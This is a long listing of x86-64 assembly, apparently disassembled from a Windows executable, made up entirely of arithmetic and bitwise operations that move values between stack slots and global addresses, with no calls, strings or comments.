mov rax, qword [rsp + 0x4bc8]
movzx eax, word [rax]
mov word [rsp + 0x990], ax
mov rax, qword [0x1401141f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x48]
add eax, ecx
mov byte [rsp + 0x60], al
lea rax, [rsp + 0x2a20]
mov qword [rsp + 0x57f8], rax
mov rax, qword [rsp + 0x50c0]
mov rcx, qword [rsp + 0x4c90]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x50f0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2a88]
mov ecx, dword [rsp + 0x2bac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b9c], eax
lea rax, [rsp + 0x5430]
mov qword [rsp + 0x5800], rax
mov rax, qword [rsp + 0x50a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x89]
add eax, ecx
mov byte [0x140114155], al
mov rax, qword [rsp + 0x50b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4f08]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x43], al
movzx eax, word [rsp + 0x8ec]
mov word [rsp + 0x994], ax
mov rax, qword [rsp + 0x4cc0]
movzx eax, byte [rax]
mov rcx, qword [0x1401142c8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5318]
mov byte [rcx], al
mov rax, qword [rsp + 0x4fa8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4de0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x880], ax
mov eax, dword [rsp + 0x2b18]
mov dword [rsp + 0x2c1c], eax
mov rax, qword [rsp + 0x4d58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b04]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2bc4], eax
mov rax, qword [rsp + 0x4ba8]
mov rax, qword [rax]
mov qword [rsp + 0x5808], rax
mov rax, qword [rsp + 0x5370]
mov rcx, qword [rsp + 0x5220]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x4e98]
mov qword [rcx], rax
lea rax, [rsp + 0x900]
mov qword [0x1401142d8], rax
mov rax, qword [0x140114288]
movzx eax, byte [rax]
mov byte [rsp + 0x8c], al
mov rax, qword [rsp + 0x54c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50]
sar eax, cl
mov rcx, qword [rsp + 0x53a8]
mov byte [rcx], al
movsx eax, word [rsp + 0x840]
movsx ecx, word [rsp + 0x8b4]
shl eax, cl
mov word [rsp + 0x858], ax
lea rax, [0x1401141bc]
mov qword [rsp + 0x5810], rax
mov rax, qword [rsp + 0x4fc0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5040]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x5388], rax
mov rax, qword [rsp + 0x5680]
mov eax, dword [rax]
mov dword [rsp + 0x2c20], eax
mov rax, qword [rsp + 0x55e0]
mov rcx, qword [rsp + 0x4fe8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2bd4], eax
mov rax, qword [rsp + 0x4c90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b78]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x54f8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x7c]
mov rcx, qword [rsp + 0x4f88]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x1401141f8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x71]
mov byte [rsp + 0x8d], al
movsx eax, word [rsp + 0x858]
movsx ecx, word [rsp + 0x914]
sub eax, ecx
mov rcx, qword [rsp + 0x4e38]
mov word [rcx], ax
movzx eax, word [rsp + 0x864]
mov word [rsp + 0x998], ax
movzx eax, byte [0x1401141be]
movzx ecx, byte [rsp + 0x58]
sub eax, ecx
mov byte [rsp + 0x7f], al
mov rax, qword [rsp + 0x53c0]
mov rcx, qword [rsp + 0x52a8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5410], rax
lea rax, [rsp + 0x5388]
mov qword [rsp + 0x5818], rax
mov rax, qword [rsp + 0x53f8]
mov rcx, qword [rsp + 0x4b40]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x53a0]
mov dword [rcx], eax
lea rax, [rsp + 0x2b2c]
mov qword [rsp + 0x5820], rax
movzx eax, word [rsp + 0x984]
movzx ecx, word [rsp + 0x970]
sub eax, ecx
mov rcx, qword [0x140114198]
mov word [rcx], ax
mov rax, qword [rsp + 0x54b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4e58]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x5510]
mov word [rcx], ax
lea rax, [rsp + 0x46]
mov qword [rsp + 0x5828], rax
mov rax, qword [rsp + 0x51d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4c]
sar eax, cl
mov byte [rsp + 0x86], al
mov rax, qword [rsp + 0x50b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x3b]
or eax, ecx
mov byte [rsp + 0x52], al
mov rax, qword [rsp + 0x4ed8]
mov qword [rsp + 0x5830], rax
mov rax, qword [rsp + 0x5770]
mov ecx, dword [rsp + 0x2b9c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2b30], eax
mov rax, qword [rsp + 0x5448]
mov rax, qword [rax]
mov qword [rsp + 0x5838], rax
mov rax, qword [rsp + 0x4b88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b04]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x57f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5508]
movzx eax, word [rax]
mov word [0x1401142e0], ax
mov rax, qword [0x1401141f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x52d0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4e00]
mov byte [rcx], al
mov rax, qword [rsp + 0x5688]
movzx eax, word [rax]
mov word [rsp + 0x99c], ax
mov rax, qword [rsp + 0x51b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x960]
add eax, ecx
mov word [rsp + 0x8f0], ax
mov rax, qword [rsp + 0x5068]
movzx eax, byte [rax]
mov byte [rsp + 0x8e], al
mov rax, qword [rsp + 0x4f38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5250]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5380], rax
mov rax, qword [rsp + 0x5238]
mov rcx, qword [rsp + 0x5278]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x50e0]
mov qword [rcx], rax
lea rax, [rsp + 0x2b8c]
mov qword [rsp + 0x5840], rax
mov rax, qword [rsp + 0x4d78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2be8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b68], eax
mov rax, qword [rsp + 0x4f60]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5a]
add eax, ecx
mov byte [0x14011302a], al
lea rax, [rsp + 0x8e0]
mov qword [rsp + 0x5848], rax
movzx eax, byte [rsp + 0x35]
mov rcx, qword [rsp + 0x5360]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x58], al
mov rax, qword [rsp + 0x5810]
movzx eax, word [rax]
movzx ecx, word [0x140114220]
sub eax, ecx
mov word [rsp + 0x8fc], ax
lea rax, [rsp + 0x908]
mov qword [rsp + 0x5850], rax
mov rax, qword [rsp + 0x5640]
mov ecx, dword [rsp + 0x2b68]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2b58], eax
mov eax, dword [rsp + 0x2c1c]
mov dword [rsp + 0x2c24], eax
mov rax, qword [rsp + 0x5270]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x50d0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x4f00], rax
mov rax, qword [rsp + 0x5448]
mov rax, qword [rax]
mov qword [rsp + 0x5858], rax
mov rax, qword [rsp + 0x5148]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x954]
sar eax, cl
mov rcx, qword [rsp + 0x53f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x5038]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x55a8]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [0x140114178]
mov byte [rcx], al
mov rax, qword [rsp + 0x5788]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7f]
shl eax, cl
mov byte [rsp + 0x35], al
mov rax, qword [0x140114270]
movzx eax, word [rax]
mov word [rsp + 0x9a0], ax
movsx eax, byte [rsp + 0x3b]
movsx ecx, byte [rsp + 0x38]
and eax, ecx
mov byte [rsp + 0x53], al
mov rax, qword [rsp + 0x5748]
mov qword [rsp + 0x5860], rax
mov eax, dword [rsp + 0x2a5c]
mov ecx, dword [rsp + 0x2958]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x50e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x56d8]
mov rcx, qword [rsp + 0x51b0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4e70]
mov qword [rcx], rax
mov rax, qword [rsp + 0x52b0]
mov eax, dword [rax]
mov dword [rsp + 0x2c28], eax
mov rax, qword [rsp + 0x5528]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5530]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x878], ax
mov rax, qword [rsp + 0x4fa8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5130]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1401142d8]
mov word [rcx], ax
lea rax, [rsp + 0x56]
mov qword [rsp + 0x5868], rax
mov rax, qword [0x140114290]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5668]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x888], ax
mov rax, qword [rsp + 0x4f28]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x910]
and eax, ecx
mov rcx, qword [rsp + 0x5258]
mov word [rcx], ax
mov rax, qword [rsp + 0x57c8]
mov qword [rsp + 0x5870], rax
mov rax, qword [rsp + 0x5128]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5690]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x57a8], rax
mov eax, dword [rsp + 0x2b14]
mov dword [rsp + 0x2c2c], eax
mov rax, qword [rsp + 0x5680]
mov rcx, qword [rsp + 0x5330]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2b50], eax
mov rax, qword [0x140114180]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4eb8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x8f0], ax
movzx eax, word [rsp + 0x894]
mov rcx, qword [rsp + 0x5070]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x14011305c], ax
lea rax, [rsp + 0x62]
mov qword [rsp + 0x5878], rax
movzx eax, byte [0x140114156]
mov rcx, qword [rsp + 0x5458]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x69], al
mov rax, qword [rsp + 0x5600]
movzx eax, byte [rax]
mov byte [rsp + 0x8f], al
mov rax, qword [rsp + 0x5858]
mov rcx, qword [rsp + 0x5648]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4e70]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5750]
mov eax, dword [rax]
mov dword [rsp + 0x2c30], eax
mov rax, qword [rsp + 0x4c00]
mov rcx, qword [rsp + 0x5340]
mov qword [rsp + 0x5880], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5880]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x4b90]
mov qword [rcx], rax
mov eax, dword [0x140114150]
mov ecx, dword [rsp + 0x2c10]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x29f0], eax
lea rax, [rsp + 0x86c]
mov qword [rsp + 0x5888], rax
movzx eax, byte [rsp + 0x8b]
movzx ecx, byte [rsp + 0x3a]
add eax, ecx
mov byte [0x1401141ba], al
mov rax, qword [rsp + 0x4fa8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4bc0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x934], ax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x5890], rax
movsx eax, byte [rsp + 0x46]
mov rcx, qword [rsp + 0x5868]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x65], al
movsx eax, word [rsp + 0x910]
movsx ecx, word [0x140113004]
sub eax, ecx
mov rcx, qword [rsp + 0x56b0]
mov word [rcx], ax
lea rax, [rsp + 0x2bb0]
mov qword [rsp + 0x5898], rax
mov rax, qword [rsp + 0x57f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c2c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5728]
mov dword [rcx], eax
lea rax, [rsp + 0x5648]
mov qword [rsp + 0x58a0], rax
mov rax, qword [rsp + 0x53e8]
mov rcx, qword [0x140113008]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4c68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5890]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x50a8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x14011302b], al
mov rax, qword [0x140114228]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x874]
sub eax, ecx
mov word [rsp + 0x8fc], ax
movzx eax, byte [rsp + 0x41]
mov byte [rsp + 0x90], al
mov rax, qword [rsp + 0x4e38]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x840]
or eax, ecx
mov rcx, qword [rsp + 0x54b8]
mov word [rcx], ax
lea rax, [rsp + 0x908]
mov qword [rsp + 0x58a8], rax
mov rax, qword [rsp + 0x5228]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b2c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x55b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4f78]
mov rax, qword [rax]
mov qword [rsp + 0x58b0], rax
mov rax, qword [0x140114160]
movzx ecx, al
mov rax, qword [rsp + 0x56d8]
sar rax, cl
mov qword [rsp + 0x4fc8], rax
mov eax, dword [rsp + 0x2bc0]
movzx ecx, al
mov eax, dword [rsp + 0x29d8]
shl eax, cl
mov rcx, qword [rsp + 0x5248]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x78]
movsx ecx, byte [rsp + 0x73]
sub eax, ecx
mov byte [0x14011301a], al
mov rax, qword [0x1401142a0]
movzx eax, word [rax]
mov word [rsp + 0x9a4], ax
mov rax, qword [rsp + 0x5088]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8d4]
and eax, ecx
mov rcx, qword [rsp + 0x53f0]
mov word [rcx], ax
lea rax, [rsp + 0x8f]
mov qword [rsp + 0x58b8], rax
mov rax, qword [rsp + 0x56a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5740]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x57a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x54d0]
mov rcx, qword [rsp + 0x5400]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5488]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4da0]
mov rax, qword [rax]
mov qword [rsp + 0x58c0], rax
mov rax, qword [rsp + 0x5728]
mov ecx, dword [rsp + 0x2c18]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2ae4], eax
lea rax, [rsp + 0x2a88]
mov qword [rsp + 0x58c8], rax
movzx eax, word [rsp + 0x914]
mov word [0x1401142e4], ax
mov rax, qword [rsp + 0x56e0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4c70]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x47], al
mov rax, qword [rsp + 0x5018]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x99c]
add eax, ecx
mov rcx, qword [rsp + 0x5720]
mov word [rcx], ax
lea rax, [rsp + 0x52]
mov qword [rsp + 0x58d0], rax
movzx eax, byte [rsp + 0x83]
mov rcx, qword [rsp + 0x5398]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x4f], al
mov eax, dword [rsp + 0x2b08]
mov dword [rsp + 0x2c34], eax
mov rax, qword [rsp + 0x57f0]
mov rcx, qword [rsp + 0x4b78]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4f18], rax
mov eax, dword [rsp + 0x2c14]
mov ecx, dword [rsp + 0x2958]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c20], eax
lea rax, [rsp + 0x5380]
mov qword [rsp + 0x58d8], rax
movsx eax, byte [rsp + 0x6e]
movsx ecx, byte [rsp + 0x53]
xor eax, ecx
mov byte [0x14011301b], al
movzx eax, word [rsp + 0x864]
movzx ecx, word [rsp + 0x8b8]
shl eax, cl
mov word [rsp + 0x974], ax
lea rax, [rsp + 0x8c0]
mov qword [rsp + 0x58e0], rax
mov rax, qword [rsp + 0x5600]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4ed0]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x5700]
mov byte [rcx], al
lea rax, [0x14011302a]
mov qword [rsp + 0x58e8], rax
mov rax, qword [rsp + 0x5588]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4ea8]
mov qword [rsp + 0x58f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x58f0]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x4ea8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ff0]
mov rcx, qword [rsp + 0x4fd0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5800]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2af0]
mov dword [rsp + 0x2c38], eax
mov eax, dword [rsp + 0x2ae8]
mov ecx, dword [rsp + 0x2b58]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c10], eax
mov rax, qword [rsp + 0x5848]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x860]
and eax, ecx
mov word [0x140113060], ax
mov rax, qword [rsp + 0x51d0]
movzx eax, byte [rax]
mov byte [rsp + 0x91], al
movzx eax, word [rsp + 0x8b8]
mov rcx, qword [rsp + 0x52b8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x8fc], ax
movsx eax, word [rsp + 0x968]
movsx ecx, word [0x140113014]
sub eax, ecx
mov word [rsp + 0x910], ax
mov rax, qword [rsp + 0x4de0]
movzx eax, word [rax]
mov word [rsp + 0x9a8], ax
mov rax, qword [rsp + 0x5760]
mov rcx, qword [rsp + 0x54f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4ea8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x29bc]
mov dword [rsp + 0x2c3c], eax
mov rax, qword [rsp + 0x5330]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ae0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5618]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5008]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5650], rax
lea rax, [rsp + 0x45]
mov qword [0x1401142e8], rax
lea rax, [0x14011301a]
mov qword [rsp + 0x58f8], rax
movsx eax, word [rsp + 0x850]
movsx ecx, word [rsp + 0x8b4]
sub eax, ecx
mov rcx, qword [rsp + 0x5408]
mov word [rcx], ax
mov rax, qword [rsp + 0x4f88]
movzx eax, byte [rax]
mov byte [rsp + 0x92], al
mov rax, qword [rsp + 0x5850]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x940]
add eax, ecx
mov rcx, qword [rsp + 0x5088]
mov word [rcx], ax
mov eax, dword [rsp + 0x2b94]
mov dword [rsp + 0x2c40], eax
mov rax, qword [rsp + 0x5588]
mov rcx, qword [rsp + 0x4b78]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x56e8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2bbc]
mov ecx, dword [0x140114150]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4d58]
mov dword [rcx], eax
lea rax, [rsp + 0x4ce8]
mov qword [rsp + 0x5900], rax
mov rax, qword [rsp + 0x5888]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x87c]
shl eax, cl
mov word [0x140113028], ax
mov rax, qword [0x1401141d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x62]
or eax, ecx
mov byte [rsp + 0x45], al
lea rax, [rsp + 0x954]
mov qword [rsp + 0x5908], rax
mov rax, qword [rsp + 0x58d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x50f8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x8d], al
mov rax, qword [rsp + 0x54d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x52a0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5828]
mov byte [rcx], al
mov eax, dword [rsp + 0x2bd4]
mov dword [rsp + 0x2c44], eax
mov rax, qword [rsp + 0x56b8]
mov rcx, qword [rsp + 0x5248]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5150]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5098]
mov rax, qword [rax]
mov qword [rsp + 0x5910], rax
mov rax, qword [rsp + 0x58d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5188]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ce8], rax
movsx eax, word [rsp + 0x860]
mov rcx, qword [0x140114270]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x58e0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x52]
movsx ecx, byte [rsp + 0x30]
sub eax, ecx
mov rcx, qword [0x140114168]
mov byte [rcx], al
mov rax, qword [rsp + 0x4e30]
movzx eax, byte [rax]
mov byte [rsp + 0x93], al
movzx eax, word [rsp + 0x8e4]
mov rcx, qword [0x140114188]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5720]
mov word [rcx], ax
mov rax, qword [rsp + 0x50c8]
movzx eax, byte [rax]
mov byte [rsp + 0x94], al
mov rax, qword [rsp + 0x4da0]
mov rcx, qword [rsp + 0x4ba8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5180]
mov qword [rcx], rax
mov rax, qword [rsp + 0x58c8]
mov ecx, dword [rsp + 0x2c30]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2bc8], eax
lea rax, [rsp + 0x4eb0]
mov qword [rsp + 0x5918], rax
mov eax, dword [rsp + 0x2c28]
mov ecx, dword [rsp + 0x2bfc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4ee8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ed0]
movzx eax, byte [rax]
mov byte [rsp + 0x95], al
lea rax, section..data
mov qword [0x1401142f0], rax
mov rax, qword [rsp + 0x5468]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x57b0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x92], al
mov rax, qword [rsp + 0x5528]
movzx eax, word [rax]
mov word [rsp + 0x9ac], ax
mov rax, qword [rsp + 0x5068]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4f60]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x84], al
mov rax, qword [rsp + 0x4b78]
movzx ecx, al
mov rax, qword [rsp + 0x4f18]
shl rax, cl
mov rcx, qword [rsp + 0x5098]
mov qword [rcx], rax
mov rax, qword [rsp + 0x53f8]
mov eax, dword [rax]
mov dword [rsp + 0x2c48], eax
mov rax, qword [rsp + 0x5228]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x5538]
mov qword [rsp + 0x5920], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5920]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x55b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5518]
mov rax, qword [rax]
mov qword [rsp + 0x5928], rax
mov rax, qword [rsp + 0x5058]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x848]
and eax, ecx
mov rcx, qword [rsp + 0x5908]
mov word [rcx], ax
mov rax, qword [0x1401141e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5700]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401141be], al
mov rax, qword [rsp + 0x4c78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x92c]
sub eax, ecx
mov word [rsp + 0x954], ax
mov rax, qword [rsp + 0x5450]
movzx eax, byte [rax]
mov byte [rsp + 0x96], al
mov rax, qword [0x1401141d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4bc8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x978], ax
lea rax, [rsp + 0x52f8]
mov qword [rsp + 0x5930], rax
mov eax, dword [rsp + 0x2af4]
mov ecx, dword [rsp + 0x2980]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a88], eax
mov rax, qword [rsp + 0x5328]
mov rcx, qword [rsp + 0x4ef8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x5498], rax
lea rax, [rsp + 0x2b54]
mov qword [rsp + 0x5938], rax
movsx eax, word [rsp + 0x88c]
mov rcx, qword [0x140114270]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x840], ax
lea rax, [rsp + 0x37]
mov qword [0x1401142f8], rax
movzx eax, word [rsp + 0x8d8]
mov word [rsp + 0x9b0], ax
movzx eax, byte [rsp + 0x4c]
movzx ecx, byte [rsp + 0x58]
sub eax, ecx
mov rcx, qword [rsp + 0x52d0]
mov byte [rcx], al
mov rax, qword [0x140114228]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5688]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x974], ax
lea rax, [rsp + 0x8d0]
mov qword [rsp + 0x5940], rax
mov rax, qword [rsp + 0x5248]
mov ecx, dword [rsp + 0x2a88]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x56b8]
mov dword [rcx], eax
lea rax, [0x140114150]
mov qword [rsp + 0x5948], rax
mov rax, qword [rsp + 0x5918]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x57a8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x5138], rax
lea rax, [rsp + 0x4e08]
mov qword [rsp + 0x5950], rax
mov rax, qword [0x1401141d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5020]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x140113027], al
movzx eax, word [rsp + 0x8cc]
movzx ecx, word [rsp + 0x884]
shl eax, cl
mov rcx, qword [rsp + 0x4fa8]
mov word [rcx], ax
mov rax, qword [rsp + 0x53a8]
movsx eax, byte [rax]
mov rcx, qword [0x140114200]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x85], al
movzx eax, word [rsp + 0x8fc]
mov word [rsp + 0x9b4], ax
mov rax, qword [rsp + 0x5468]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5398]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x91], al
lea rax, [rsp + 0x2b20]
mov qword [rsp + 0x5958], rax
mov rax, qword [rsp + 0x55b8]
mov rcx, qword [rsp + 0x51e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x55a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x57c0]
mov rcx, qword [rsp + 0x5290]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4b90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5730]
mov rax, qword [rax]
mov qword [rsp + 0x5960], rax
mov rax, qword [rsp + 0x4f60]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x54d8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14011302e], al
movsx eax, byte [rsp + 0x3f]
mov rcx, qword [rsp + 0x4f60]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4f08]
mov byte [rcx], al
lea rax, [rsp + 0x904]
mov qword [rsp + 0x5968], rax
mov rax, qword [0x140114270]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x9ac]
add eax, ecx
mov rcx, qword [rsp + 0x5780]
mov word [rcx], ax
mov rax, qword [rsp + 0x52b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5620]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d60]
mov eax, dword [rax]
mov dword [rsp + 0x2c4c], eax
mov rax, qword [rsp + 0x5120]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b2c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c00], eax
mov rax, qword [rsp + 0x4c90]
mov rax, qword [rax]
mov qword [rsp + 0x5970], rax
mov rax, qword [rsp + 0x5290]
mov rcx, qword [rsp + 0x55d0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x53e8], rax
lea rax, [rsp + 0x8d4]
mov qword [0x140114300], rax
lea rax, [rsp + 0x944]
mov qword [rsp + 0x5978], rax
